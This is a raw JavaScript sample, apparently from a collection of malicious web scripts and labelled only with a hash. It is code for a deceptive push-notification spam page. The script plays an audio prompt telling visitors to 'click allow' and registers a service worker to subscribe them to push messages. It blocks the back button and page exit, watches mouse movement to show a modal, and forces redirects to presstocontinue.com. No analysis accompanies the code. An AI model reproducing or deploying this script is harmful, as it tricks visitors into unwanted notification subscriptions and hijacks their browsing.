ea43bc4c0beeed22517b6a19c38727b18f5e90834b07a5d8e513bd9a70666f74

Source Code:

"use strict";
function getDomain() {
    var a = location.host.replace("www.", "").split(".");
    if (a.length > 2) {
        a.shift();
        return a.join(".")
    }
    return location.host
}

var  domain = getDomain();
var  fallbackMain = "https://presstocontinue.com";

function checkBrowser() {
    var c = navigator,
        d = c.userAgent;

    if (d.match(/SamsungBrowser/i) || d.match(/UCBrowser/i)) {
        location.href = fallbackMain;
    }
}

function getRandomSubdomain() {
    for (var c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", d = "", i = 0; i < 5; i++) {
        d += c[Math.floor(Math.random() * c.length)]
    }
    return d
}

function changeSubdomain() {
    var d = getRandomSubdomain();
    window.open("https://presstocontinue.com");
}

function pushInit() {
    if ("serviceWorker"in navigator && "PushManager"in window) {
        navigator.serviceWorker.register("/sw_1721590.js").then(
            function(serviceWorkerRegistration) {
                serviceWorkerRegistration.pushManager.subscribe().then(
                    function(pushSubscription) {
                       // console.log(pushSubscription.subscriptionId);
                      //  console.log(pushSubscription.endpoint);
                    }, function(error) {
                       // console.log(error);
                    }
                );
            });

    } 
}


function redirect() {
    var e = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : null;
    if (e) {
        if (e == "onBack" || e == "alreadyAllowBlock")
            return;
    }
    location.href = fallbackMain;
}

function isMobile() {
    return navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/iPod/i)
}

checkBrowser();
isMobile();

(function () {
    var sign = document.querySelector(".sign");
    function addClass (el, className) {
        if (el.classList) { el.classList.add(className); }
        else { el.className += ' ' + className; }
    }
    if (sign != null) {
        setTimeout(function() {
            addClass(sign, "visible");
        }, 1000 );
    }
    document.addEventListener('play', function(e) {
        document.querySelector('canvas').style.opacity = '1';
    });
    function addClass (el, className) {
        if (el.classList) { el.classList.add(className); }
        else { el.className += ' ' + className; }
    }
    function isDesktopDevice() {
        var ua = navigator.userAgent.toLowerCase();
        if ( (ua.indexOf("android") > -1) || (/ipad|iphone|ipod/.test(ua) && !window.MSStream) ) {
            return false;
        }
        return true;
    }
    function isMacos() {
        var userAgent = window.navigator.userAgent,
            platform = window.navigator.platform,
            macosPlatforms = ['Macintosh', 'MacIntel', 'MacPPC', 'Mac68K'];
        if (macosPlatforms.indexOf(platform) !== -1) {
            return true;
        }
        return false;
    }

    var container = document.querySelector('.container');
    var isModalShowed = false;
    var audio = new Audio('/media/ClickAllowToPlayVideo.mp3');

    window.onbeforeunload = function() {
        return "Please Click Allow to Continue";
    }

    window.onload = function() {
        audio.play();
    }

    document.body.onmousemove = function(e) {
        if(e.pageY < 50 && !isModalShowed) {
            container.className = 'container container--modal';
            audio.play();
            isModalShowed = true;
        }
    }

    if(document.querySelector('.size-indicator').offsetParent !== null) {
        window.history.pushState('forward', null, '');
        window.onpopstate = function() {
            container.className = 'container container--modal';
            window.history.pushState("forward", null, "");
        };

        document.body.onclick = function() {
            window.onbeforeunload = null;
            location.href = 'https://presstocontinue.com';
        }
    }
})();

(function (w) {
    w.addEventListener('message', function (event) {
        if (event.data === 'subscriptiondone') {
            changeSubdomain();
        }
    });
    if ('Notification' in window) {
        if (Notification.permission != 'default') {
            redirect();
        }
    }
})(window);